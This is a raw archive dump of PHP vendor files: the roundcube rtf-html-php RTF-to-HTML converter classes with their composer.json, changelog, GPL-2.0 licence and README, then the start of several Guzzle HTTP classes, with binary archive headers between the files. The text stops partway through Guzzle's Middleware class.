            return ($ord0 - 224) * 4096 + ($ord1 - 128) * 64 + ($ord2 - 128);
        }

        $ord3 = ord($chr[3]);
        if ($ord0 >= 240 && $ord0 <= 247) {
            return ($ord0 - 240) * 262144 + ($ord1 - 128) * 4096 + ($ord2 - 128) * 64 + ($ord3 - 128);
        }

        $ord4 = ord($chr[4]);
        if ($ord0 >= 248 && $ord0 <= 251) {
            return ($ord0 - 248) * 16777216 + ($ord1 - 128) * 262144 + ($ord2 - 128) * 4096 + ($ord3 - 128) * 64 + ($ord4 - 128);
        }

        if ($ord0 >= 252 && $ord0 <= 253) {
            return ($ord0 - 252) * 1073741824 + ($ord1 - 128) * 16777216 + ($ord2 - 128) * 262144 + ($ord3 - 128) * 4096 + ($ord4 - 128) * 64 + (ord($chr[5]) - 128);
        }

        // trigger_error("Invalid Unicode character: {$chr}");
    }
}
PK
h�\#�)�[[0vendor/roundcube/rtf-html-php/src/Html/Image.phpnu�[���<?php

namespace RtfHtmlPhp\Html;

class Image
{
    public $format;
    public $width;
    public $height;
    public $goalWidth;
    public $goalHeight;
    public $pcScaleX;
    public $pcScaleY;
    public $binarySize;
    public $imageData;


    /**
     * Object constructor.
     */
    public function __construct()
    {
        $this->reset();
    }

    /**
     * Resets the object to the initial state
     *
     * @return void
     */
    public function reset()
    {
        $this->format = 'bmp';
        $this->width = 0;         // in xExt if wmetafile otherwise in px
        $this->height = 0;        // in yExt if wmetafile otherwise in px
        $this->goalWidth = 0;     // in twips
        $this->goalHeight = 0;    // in twips
        $this->pcScaleX = 100;    // 100%
        $this->pcScaleY = 100;    // 100%
        $this->binarySize = null; // Number of bytes of the binary data
        $this->imageData = null;  // Binary or Hexadecimal Data
    }

    /**
     * Generate a HTML content for the image
     *
     * @return string Image tag content, An empty string for unsupported/empty image
     */
    public function printImage()
    {
        // process binary data
        if (isset($this->binarySize)) {
            // Not implemented
            return '';
        }

        if (empty($this->imageData)) {
            return '';
        }

        // process hexadecimal data
        $data = base64_encode(pack('H*', $this->imageData));

        // <img src="data:image/{FORMAT};base64,{#BDATA}" />
        return "<img src=\"data:image/{$this->format};base64,{$data}\" />";
    }
}
PK
h�\aP�J��0vendor/roundcube/rtf-html-php/src/Html/State.phpnu�[���<?php 

namespace RtfHtmlPhp\Html;

class State
{
    public static $fonttbl = [];
    public static $colortbl = [];
    public $bold;
    public $italic;
    public $underline;
    public $strike;
    public $hidden;
    public $fontsize;
    public $fontcolor;
    public $background;
    public $hcolor;
    public $font;
    public $htmlrtf;

    protected static $highlight = [
        1  => 'Black',
        2  => 'Blue',
        3  => 'Cyan',
        4  => 'Green',
        5  => 'Magenta',
        6  => 'Red',
        7  => 'Yellow',
        8  => 'Unused',
        9  => 'DarkBlue',
        10 => 'DarkCyan',
        11 => 'DarkGreen',
        12 => 'DarkMagenta',
        13 => 'DarkRed',
        14 => 'DarkYellow',
        15 => 'DarkGray',
        16 => 'LightGray'
    ];


    /**
     * Object constructor
     */
    public function __construct()
    {
        $this->reset();
    }

    /**
     * Store a font in the font table at the specified index.
     *
     * @param int  $index Font number
     * @param Font $font  Font object
     *
     * @return void
     */
    public static function setFont($index, Font $font)
    {
        State::$fonttbl[$index] = $font;
    }

    /**
     * Resets the object to the initial state
     *
     * @param string|null $defaultFont Font name
     *
     * @return void
     */
    public function reset($defaultFont = null)
    {
        $this->bold = false;
        $this->italic = false;
        $this->underline = false;
        $this->strike = false;
        $this->hidden = false;
        $this->fontsize = 0;
        $this->fontcolor = null;
        $this->background = null;
        $this->hcolor = null;
        $this->font = isset($defaultFont) ? $defaultFont : null;
        $this->htmlrtf = false;
    }

    /**
     * Generates css style for the state.
     *
     * @return string The css string
     */
    public function printStyle()
    {
        $style = [];

        if ($this->bold) {
            $style[] = "font-weight:bold";
        }

        if ($this->italic) {
            $style[] = "font-style:italic";
        }

        if ($this->underline) {
            $style[] = "text-decoration:underline";
        }

        // state->underline is a toggle switch variable so no need for
        // a dedicated state->end_underline variable
        // if($this->state->end_underline) {$span .= "text-decoration:none";}
        if ($this->strike) {
            $style[] = "text-decoration:line-through";
        }

        if ($this->hidden) {
            $style[] = "display:none";
        }

        if (isset($this->font)) {
            $font = self::$fonttbl[$this->font];
            $style[] = $font->toStyle();
        }

        if ($this->fontsize != 0) {
            $style[] = "font-size:{$this->fontsize}px";
        }

        // Font color:
        if (isset($this->fontcolor)) {
            // Check if color is set. in particular when it's the 'auto' color
            if (array_key_exists($this->fontcolor, self::$colortbl) && self::$colortbl[$this->fontcolor]) {
                $style[] = "color:" . self::$colortbl[$this->fontcolor];
            }
        }

        // Background color:
        if (isset($this->background)) {
            // Check if color is set. in particular when it's the 'auto' color
            if (array_key_exists($this->background, self::$colortbl) && self::$colortbl[$this->background]) {
                $style[] = "background-color:" . self::$colortbl[$this->background];
            }
        } elseif (isset($this->hcolor)) {
            // Highlight color:
            if (array_key_exists($this->hcolor, self::$highlight) && self::$highlight[$this->hcolor]) {
                $style[] = "background-color:" . self::$highlight[$this->hcolor];
            }
        }

        return empty($style) ? '' : implode(';', $style) . ';';
    }

    /**
     * Check whether this State is equal to another State.
     *
     * @param State $state A state to compare with
     *
     * @return bool True if the state is identical, False otherwise
     */
    public function equals($state)
    {
        if (!($state instanceof State)) {
            return false;
        }

        return $this->bold == $state->bold
            && $this->italic == $state->italic
            && $this->underline == $state->underline
            && $this->strike == $state->strike
            && $this->hidden == $state->hidden
            && $this->fontsize == $state->fontsize
            // Compare colors
            && $this->fontcolor == $state->fontcolor
            && $this->background == $state->background
            && $this->hcolor == $state->hcolor
            // Compare fonts
            && $this->font == $state->font;
    }
}
PK
h�\��P��/vendor/roundcube/rtf-html-php/src/Html/Font.phpnu�[���<?php

namespace RtfHtmlPhp\Html;

class Font
{
    public $family;
    public $fprq;
    public $name;
    public $charset;
    public $codepage;

    /**
     * Returns font style (font-family) string
     *
     * @return string A string including font-family: prefix. An empty string if font is not set
     */
    public function toStyle()
    {
        $list = [];

        if ($this->name) {
            $list[] = $this->name;
        }

        if ($this->family) {
            $list[] = $this->family;
        }

        if (count($list) == 0) {
            return '';
        }

        return "font-family:" . implode(',', $list);
    }
}
PK
h�\�
��3vendor/roundcube/rtf-html-php/src/ControlSymbol.phpnu�[���<?php 

namespace RtfHtmlPhp;

class ControlSymbol extends Element
{
    public $symbol;
    public $parameter = 0;

    /**
     * Returns string representation of the object for debug purposes
     *
     * @param int $level Indentation level
     *
     * @return string
     */
    public function toString($level)
    {
        return str_repeat("  ", $level) . "SYMBOL {$this->symbol} ({$this->parameter})\n";
    }
}
PK
h�\)%,M��-vendor/roundcube/rtf-html-php/src/Element.phpnu�[���<?php 

namespace RtfHtmlPhp;

/**
 * Element is the parent class of all RTF elements,
 * like Group, ControlWord and ControlSymbol.
 */
class Element
{
}
PK
h�\1�J//*vendor/roundcube/rtf-html-php/src/Text.phpnu�[���<?php 

namespace RtfHtmlPhp;

class Text extends Element
{
    public $text;

    /**
     * Create a new Text instance with string content.
     *
     * @param string $text The content
     */
    public function __construct($text)
    {
        $this->text = $text;
    }

    /**
     * Returns string representation of the object for debug purposes
     *
     * @param int $level Indentation level
     *
     * @return string
     */
    public function toString($level)
    {
        return str_repeat("  ", $level) . "TEXT {$this->text}\n";
    }
}
PK
h�\�!u��+vendor/roundcube/rtf-html-php/composer.jsonnu�[���{
  "name": "roundcube/rtf-html-php",
  "description": "RTF to HTML converter in PHP",
  "keywords": ["rtf", "converter"],
  "type": "library",
  "license": "GPL-2.0",
  "authors": [
    {
      "name": "Alexander van Oostenrijk",
      "email": "alex.vanoostenrijk@gmail.com"
    },
    {
      "name": "Aleksander Machniak",
      "email": "alec@alec.pl"
    }
  ],
  "scripts": {
    "test": [
      "phpunit tests"
    ]
  },
  "require": {
    "php": ">=5.4",
    "ext-iconv": "*",
    "ext-mbstring": "*"
  },
  "autoload": {
    "psr-4": {
      "RtfHtmlPhp\\": "src/"
    }
  },
  "require-dev": {
    "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6 || ^7 | ^9.6",
    "phpstan/phpstan": "^1.2"
  }
}
PK
h�\S����*vendor/roundcube/rtf-html-php/CHANGELOG.mdnu�[���# Changelog

## 2.2

- Fix "Creation of dynamic property" warnings
- Fix a couple of code errors found in static code analisys
- Enable testing on PHP 8.2 and 8.3

## 2.0

- Fork, various code style fixes, camel-case use
- Added some more tests
- Removed trigger_error() use
- Added support for encapsulated HTML
- Support PHP >= 5.4, up to 8.1

## 1.1

### Update 11 Sep '19:
- Split code up into several classes under `/src`
- Lots of code documentation
- Added some PHPUnit test cases
- Use namespace
- Set version to 1.1

## 1.0

### Update 26 Oct '18:

- Adds support for Font table extraction.
- Adds support for Pictures.
- Adds support for additional control symbols.
- Updates the way the parser parses unicode and its replacement character(s).
- Updated Html formatter: now it reads the proper encoding from RTF 
  document and/or from current font.
- Updated unicode conversion method: now it takes into account the 
  right encoding of the RTF document.

### Update 2 Sep '18:

- Unicode characters are now fully supported
- Font color & background are now supported
- Better HTML tag handling

### Update 11 Jun '18:

- Better display for text with altered font-size 

### Update 10 Mar '16:

- The RTF parser would either issue warnings or go into an infinite 
  loop when parsing a malformed RTF. Instead, it now returns `true` when 
  parsing was successful, and `false` if it was not.

### Update 23 Feb '16:

- The RTF to HTML converter can now be installed through Composer 
  (thanks to @felixkiss).

### Update 28 Oct '15:

- A bug causing control words to be misparsed occasionally is now fixed.

### Update 3 Sep ’14:

- Fixed bug: underlining would start but never end. Now it does.
- Feature request: images are now filtered out of the output.
PK
h�\J��p�F�F%vendor/roundcube/rtf-html-php/LICENSEnu�[���                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    {description}
    Copyright (C) {year}  {fullname}

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  {signature of Ty Coon}, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.


PK
h�\�$�$��'vendor/roundcube/rtf-html-php/README.mdnu�[���# rtf-html-php

_An RTF to HTML converter in PHP_

In a recent project, I desperately needed an RTF to HTML converter written in PHP. Googling around turned up some matches, but I could not get them to work properly. Also, one of them called `passthru()` to use a RTF2HTML executable, which is something I didn’t want. I was looking for an RTF to HTML converter written purely in PHP.

Since I couldn’t find anything ready-made, I sat down and coded one up myself. It’s short, and it works, implementing the subset of RTF tags that you’ll need in HTML and ignoring the rest. As it turns out, the RTF format isn’t that complicated when you really look at it, but it isn’t something you code a parser for in 15 minutes either.

## How to use it

Install this package using composer. Then do this:

```php
use RtfHtmlPhp\Document;

$rtf = file_get_contents("test.rtf"); 
$document = new Document($rtf); // or use a string directly
```

`Document` will raise an exception if the RTF document could not be parsed.

If you’d like to see what the parser read (for debug purposes), then call this:

```php
echo $document;
```

To convert the parser’s parse tree to HTML, call this (but only if the RTF was successfully parsed):

```php
use RtfHtmlPhp\Html\HtmlFormatter;
$formatter = new HtmlFormatter();
echo $formatter->format($document);
```

For enhanced compatibility the default character encoding of the converted RTF unicode characters is set to `HTML-ENTITIES`. To change the default encoding, you can initialize the `Html` object with the desired encoding supported by `mb_list_encodings()`: ex. `UTF-8`

```php
$formatter = new HtmlFormatter('UTF-8');
```

## Install via Composer

```shell
composer require roundcube/rtf-to-html
```
PK
h�\�}�jj.vendor/guzzlehttp/guzzle/src/TransferStats.phpnu�[���<?php

namespace GuzzleHttp;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * Represents data at the point after it was transferred either successfully
 * or after a network error.
 */
final class TransferStats
{
    /**
     * @var RequestInterface
     */
    private $request;

    /**
     * @var ResponseInterface|null
     */
    private $response;

    /**
     * @var float|null
     */
    private $transferTime;

    /**
     * @var array
     */
    private $handlerStats;

    /**
     * @var mixed|null
     */
    private $handlerErrorData;

    /**
     * @param RequestInterface       $request          Request that was sent.
     * @param ResponseInterface|null $response         Response received (if any)
     * @param float|null             $transferTime     Total handler transfer time.
     * @param mixed                  $handlerErrorData Handler error data.
     * @param array                  $handlerStats     Handler specific stats.
     */
    public function __construct(
        RequestInterface $request,
        ResponseInterface $response = null,
        float $transferTime = null,
        $handlerErrorData = null,
        array $handlerStats = []
    ) {
        $this->request = $request;
        $this->response = $response;
        $this->transferTime = $transferTime;
        $this->handlerErrorData = $handlerErrorData;
        $this->handlerStats = $handlerStats;
    }

    public function getRequest(): RequestInterface
    {
        return $this->request;
    }

    /**
     * Returns the response that was received (if any).
     */
    public function getResponse(): ?ResponseInterface
    {
        return $this->response;
    }

    /**
     * Returns true if a response was received.
     */
    public function hasResponse(): bool
    {
        return $this->response !== null;
    }

    /**
     * Gets handler specific error data.
     *
     * This might be an exception, a integer representing an error code, or
     * anything else. Relying on this value assumes that you know what handler
     * you are using.
     *
     * @return mixed
     */
    public function getHandlerErrorData()
    {
        return $this->handlerErrorData;
    }

    /**
     * Get the effective URI the request was sent to.
     */
    public function getEffectiveUri(): UriInterface
    {
        return $this->request->getUri();
    }

    /**
     * Get the estimated time the request was being transferred by the handler.
     *
     * @return float|null Time in seconds.
     */
    public function getTransferTime(): ?float
    {
        return $this->transferTime;
    }

    /**
     * Gets an array of all of the handler specific transfer data.
     */
    public function getHandlerStats(): array
    {
        return $this->handlerStats;
    }

    /**
     * Get a specific handler statistic from the handler by name.
     *
     * @param string $stat Handler specific transfer stat to retrieve.
     *
     * @return mixed|null
     */
    public function getHandlerStat(string $stat)
    {
        return $this->handlerStats[$stat] ?? null;
    }
}
PK
h�\]�����8vendor/guzzlehttp/guzzle/src/BodySummarizerInterface.phpnu�[���<?php

namespace GuzzleHttp;

use Psr\Http\Message\MessageInterface;

interface BodySummarizerInterface
{
    /**
     * Returns a summarized message body.
     */
    public function summarize(MessageInterface $message): ?string;
}
PK
h�\����+�++vendor/guzzlehttp/guzzle/src/Middleware.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Cookie\CookieJarInterface;
use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Log\LoggerInterface;

/**
 * Functions used to create and wrap handlers with handler middleware.
 */
final class Middleware
{
    /**
     * Middleware that adds cookies to requests.
     *
     * The options array must be set to a CookieJarInterface in order to use
     * cookies. This is typically handled for you by a client.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function cookies(): callable
    {
        return static function (callable $handler): callable {
            return static function ($request, array $options) use ($handler) {
                if (empty($options['cookies'])) {
                    return $handler($request, $options);
                } elseif (!($options['cookies'] instanceof CookieJarInterface)) {
                    throw new \InvalidArgumentException('cookies must be an instance of GuzzleHttp\Cookie\CookieJarInterface');
                }
                $cookieJar = $options['cookies'];
                $request = $cookieJar->withCookieHeader($request);

                return $handler($request, $options)
                    ->then(
                        static function (ResponseInterface $response) use ($cookieJar, $request): ResponseInterface {
                            $cookieJar->extractCookies($request, $response);

                            return $response;
                        }
                    );
            };
        };
    }

    /**
     * Middleware that throws exceptions for 4xx or 5xx responses when the
     * "http_errors" request option is set to true.
     *
     * @param BodySummarizerInterface|null $bodySummarizer The body summarizer to use in exception messages.
     *
     * @return callable(callable): callable Returns a function that accepts the next handler.
     */
    public static function httpErrors(BodySummarizerInterface $bodySummarizer = null): callable
    {
        return static function (callable $handler) use ($bodySummarizer): callable {
            return static function ($request, array $options) use ($handler, $bodySummarizer) {
                if (empty($options['http_errors'])) {
                    return $handler($request, $options);
                }

                return $handler($request, $options)->then(
                    static function (ResponseInterface $response) use ($request, $bodySummarizer) {
                        $code = $response->getStatusCode();
                        if ($code < 400) {
                            return $response;
                        }
                        throw RequestException::create($request, $response, null, [], $bodySummarizer);
                    }
                );
            };
        };
    }

    /**
     * Middleware that pushes history data to an ArrayAccess container.
     *
     * @param array|\ArrayAccess<int, array> $container Container to hold the history (by reference).
     *
     * @return callable(callable): callable Returns a function that accepts the next handler.
     *
     * @throws \InvalidArgumentException if container is not an array or ArrayAccess.
     */
    public static function history(&$container): callable
    {
        if (!\is_array($container) && !$container instanceof \ArrayAccess) {
            throw new \InvalidArgumentException('history container must be an array or object implementing ArrayAccess');
        }

        return static function (callable $handler) use (&$container): callable {
            return static function (RequestInterface $request, array $options) use ($handler, &$container) {
                return $handler($request, $options)->then(
                    static function ($value) use ($request, &$container, $options) {
                        $container[] = [
                            'request' => $request,
                            'response' => $value,
                            'error' => null,
                            'options' => $options,
                        ];

                        return $value;
                    },
                    static function ($reason) use ($request, &$container, $options) {
                        $container[] = [
                            'request' => $request,
                            'response' => null,
                            'error' => $reason,
                            'options' => $options,
                        ];

                        return P\Create::rejectionFor($reason);
                    }
                );
            };
        };
    }

    /**
     * Middleware that invokes a callback before and after sending a request.
     *
     * The provided listener cannot modify or alter the response. It simply
     * "taps" into the chain to be notified before returning the promise. The
     * before listener accepts a request and options array, and the after
     * listener accepts a request, options array, and response promise.
     *
     * @param callable $before Function to invoke before forwarding the request.
     * @param callable $after  Function invoked after forwarding.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function tap(callable $before = null, callable $after = null): callable
    {
        return static function (callable $handler) use ($before, $after): callable {
            return static function (RequestInterface $request, array $options) use ($handler, $before, $after) {
                if ($before) {
                    $before($request, $options);
                }
                $response = $handler($request, $options);
                if ($after) {
                    $after($request, $options, $response);
                }

                return $response;
            };
        };
    }

    /**
     * Middleware that handles request redirects.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function redirect(): callable
    {
        return static function (callable $handler): RedirectMiddleware {
            return new RedirectMiddleware($handler);
        };
    }

    /**
     * Middleware that retries requests based on the boolean result of
     * invoking the provided "decider" function.
     *
     * If no delay function is provided, a simple implementation of exponential
     * backoff will be utilized.
     *
     * @param callable $decider Function that accepts the number of retries,
     *                          a request, [response], and [exception] and
     *                          returns true if the request is to be retried.
     * @param callable $delay   Function that accepts the number of retries and
     *                          returns the number of milliseconds to delay.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function retry(callable $decider, callable $delay = null): callable
    {
        return static function (callable $handler) use ($decider, $delay): RetryMiddleware {
            return new RetryMiddleware($decider, $handler, $delay);
        };
    }

    /**
     * Middleware that logs requests, responses, and errors using a message
     * formatter.
     *
     * @phpstan-param \Psr\Log\LogLevel::* $logLevel  Level at which to log requests.
     *
     * @param LoggerInterface                            $logger    Logs messages.
     * @param MessageFormatterInterface|MessageFormatter $formatter Formatter used to create message strings.
